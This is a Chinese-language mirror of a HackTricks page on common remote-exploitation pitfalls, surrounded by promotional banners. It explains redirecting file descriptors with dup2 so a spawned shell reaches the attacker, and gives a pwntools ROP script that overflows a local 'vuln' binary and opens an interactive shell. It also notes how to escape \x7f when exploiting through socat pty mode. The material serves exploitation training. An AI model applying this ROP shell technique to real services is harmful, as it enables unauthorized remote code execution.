mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 23:51:29 +00:00
3.8 KiB
3.8 KiB
常见的利用问题
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
- 您在网络安全公司工作吗? 想要看到您的公司在HackTricks中宣传吗? 或者想要访问PEASS的最新版本或下载PDF格式的HackTricks? 请查看订阅计划!
- 发现PEASS家族,我们的独家NFT收藏品
- 获取官方PEASS和HackTricks周边产品
- 加入 💬 Discord群 或 电报群 或在Twitter上关注我 🐦@carlospolopm。
- 通过向 hacktricks仓库 和 hacktricks-cloud仓库 提交PR来分享您的黑客技巧。
远程利用中的文件描述符
当向调用**system('/bin/sh')
**的远程服务器发送利用时,这将在服务器进程中执行,/bin/sh
将期望从stdin(FD:0
)接收输入,并将输出打印在stdout和stderr中(FDs 1
和2
)。 因此,攻击者将无法与shell进行交互。
修复此问题的一种方法是假设服务器启动时创建了FD编号3
(用于监听),然后,您的连接将在**FD编号4
中。 因此,可以使用系统调用dup2
**将stdin(FD 0)和stdout(FD 1)复制到FD 4(攻击者连接的FD),从而使得一旦执行后可以联系shell。
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
请注意,socat已经将**stdin
和stdout
传输到套接字。但是,pty
模式包括DELETE字符**。因此,如果您发送\x7f
(DELETE
-),它将删除您的利用程序的前一个字符。
为了绕过这个问题,必须在发送任何\x7f
之前添加转义字符\x16
。
在这里你可以 找到这种行为的示例。
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
- 您在网络安全公司工作吗? 您想看到您的公司在HackTricks中被广告吗? 或者您想访问PEASS的最新版本或下载PDF格式的HackTricks吗? 请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入 💬 Discord群组](https://discord.gg/hRep4RUj7f) 或电报群组](https://t.me/peass) 或在Twitter上关注我 🐦@carlospolopm。
- 通过向hacktricks repo](https://github.com/carlospolop/hacktricks) 和 hacktricks-cloud repo **提交PR来分享您的黑客技巧。